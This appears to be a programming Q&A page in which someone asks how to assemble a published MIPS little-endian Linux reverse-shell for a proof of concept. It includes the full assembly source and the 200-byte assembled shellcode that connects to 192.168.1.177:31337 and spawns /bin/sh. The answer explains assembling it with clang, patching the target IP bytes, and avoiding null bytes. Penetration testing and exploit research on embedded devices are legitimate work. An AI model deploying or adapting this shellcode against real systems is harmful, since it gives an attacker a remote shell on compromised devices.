I have some code from GitHub that I need to compile for a PoC. I need to change the IP address (which I can do), but I cannot actually do the compilation after. Any suggestions what compiler will work? Ideally if I assemble what's there I should get the same shellcode as the below.
The code is:
# MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode
# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators
# Blog: http://infosec42.blogspot.com
# Company Website: http://securityevaluators.com
.data
.bss
.text
.globl _start
_start:
#Close stdin(0)
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424
#Close stdout(1)
slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424
#Close stderr(2)
li $t4, 0xFFFFFFFD #-3
not $a0, $t4
li $v0, 4006
syscall 0x42424
#Socket Domain - AF_INET (2)
li $t4, 0xFFFFFFFD #-3
not $a0, $t4
#Socket Type - SOCK_STREAM (2 for mips)
not $a1, $t4
#Socket Protocol - 0
slti $a2, $zero, 0xFFFF
#Call socket
li $v0, 4183
syscall 0x42424
#Move socket return value (v0) to register a0
#V0 must be below 0xFFFF/65535
andi $a0, $v0, 0xFFFF
#Calling dup three times
#Duplicate FD (stdin)
#Socket returned fd 0 - stdin goes to socket
#-----
#Duplicate FD (stdout)
li $v0, 4041
syscall 0x42424
#Duplicate FD (stderr)
li $v0, 4041
syscall 0x42424
#Connect sockfd
#Socket FD is already in a0
#-----
#Connect sockaddr
lui $a1, 0x6979 #Port:
ori $a1, 0xFF01 #31337
addi $a1, $a1, 0x0101
sw $a1, -8($sp)
li $a1, 0xB101A8C0 #192.168.1.177
sw $a1, -4($sp)
addi $a1, $sp, -8
#Connect addrlen - 16
li $t4, 0xFFFFFFEF #-17
not $a2, $t4
#Call connect
li $v0, 4170
syscall 0x42424
#Putting /bin/sh onto the stack
lui $t0, 0x6962 #Loading Upper Immediate - ib
ori $t0, $t0,0x2f2f #Bitwise OR Immediate - //
sw $t0, -20($sp) #Store word pointer to command string for execution
#
lui $t0, 0x6873 #Loading Upper Immediate - hs
ori $t0, 0x2f6e #Bitwise OR Immediate - /n
sw $t0, -16($sp) #Store word pointer to command string for execution
#
slti $a3, $zero, 0xFFFF #Putting null (0) onto stack
sw $a3, -12($sp)
sw $a3, -4($sp)
#execve *filename
addi $a0, $sp, -20
#execve *argv[]
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8
#
addiu $sp, $sp, -20 #Adjusting stack
#
#execve envp[] - 0
slti $a2, $zero, 0xFFFF
#Call execve
li $v0, 4011
syscall 0x42424
And the resulting shellcode string is:
# NOTE: Assembled shellcode
#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
After changing 0xFFFF
to -1
for slti
where clang errors on an out-of-range 16-bit signed immediate, it assembles just fine with clang -target mips -c mips-shellcode.s
on my x86-64 Arch Linux desktop. (Clang / LLVM is normally built with back-ends for multiple ISAs enabled.)
Then hexdump the machine code and turn it into a string literal with "\x??"
escapes using whatever method you normally use.
Or it might be easier to just look at the hexdump and see which bytes in the string are the IP address and change them in the string literal.
If this shellcode only needs to avoid 00
bytes, some of those slti $a0, $zero, -1
instructions aren't even necessary. You can just use $zero
with sw
directly instead of using slti
to generate a zero in a register for a store.
### from llvm-objdump -d mips-shellcode.o
af a0 ff f4 sw $zero, -12($sp)
But when you do need to put a 0
in a register (like $a0
), add/addu
, and
and or
with $zero
all have a zero in the first byte, so that's a problem. You'd think you could get 2
just by adding 1
to itself or left-shifting, but those all have a 00
as the first byte of the instruction. (The first 6 bits are 0 from the opcode, and the low 2 bits of the top byte are 0 from the register number of the first source operand. So they'd be usable with $8
or higher as temporaries, but $a0..$a3
are regs $4..$7
and $v0..1
are $2..$1
, and $zero
is register $0
. So basically any register other than the ones we need to use for the syscall ABI! Like any of $t0..9
, $s0..7
, $sp
, $fp
, and $ra
.)
(This is why the shellcode can use not
with $t4
as a source: nor $a0, $t4, $t4
is 01 80 30 27
. BTW, changing that to $s4
would make it definitely safe to reuse after a syscall
, without another li
(aka addiu
))
Besides, there's nothing wrong with using slti
to put 0 or 1 in a register: it's 4 bytes just like any other MIPS instruction. subu $a0, $t9,$t9
would not be better, and has a false dependency on $t9 for performance.
However, Linux MIPS system calls don't destroy $a0..$a2
registers. (https://www.linux-mips.org/wiki/Syscall says the kernel may destroy the $t
registers, and returns error / non-error in $a3). So some of the instructions in this can be removed, I think. (Since this shellcode says it's for Linux MIPS).
Also, Linux execve(2)
allows you to pass argv and/or envp=NULL
and treats that as equivalent to a pointer to a NULL pointer (i.e. empty array), instead of -EFAULT
. This isn't portable to other OSes, but you're writing in asm for Linux specifically anyway, so if you're going to pass an empty argv or envp it's much easier to just pass 0
in regs instead of storing that.
MIPS32r2 ext
(Bitfield extract) can copy or right-shift any register without any zeroes, and without the limitation of andi
with 0xFFFF
(which the example shellcode uses to copy from $v0
to $a0
with 16->32 bit zero extension.)
MIPS32r2 ins
can sort of left-shift or copy any register. (Reading the low n
bits and inserting at some position). But it's destructive, ins $dst, $src, pos, size
reads from and inserts into $dst
. You can't just insert into $zero
and store the result in a different register. So ins $a0, $a0, 1, 1
would turn 1
into 3
, not removing the low bit that was copied.
See the MIPS32r6 (ISA manual from mips.com) for instruction encodings: some of the newer ones use opcode top-6 bits = 011111
. align
might be useful in other cases as a shift, concatenating 2 regs and taking a 4-byte window from that.
User contributions licensed under CC BY-SA 3.0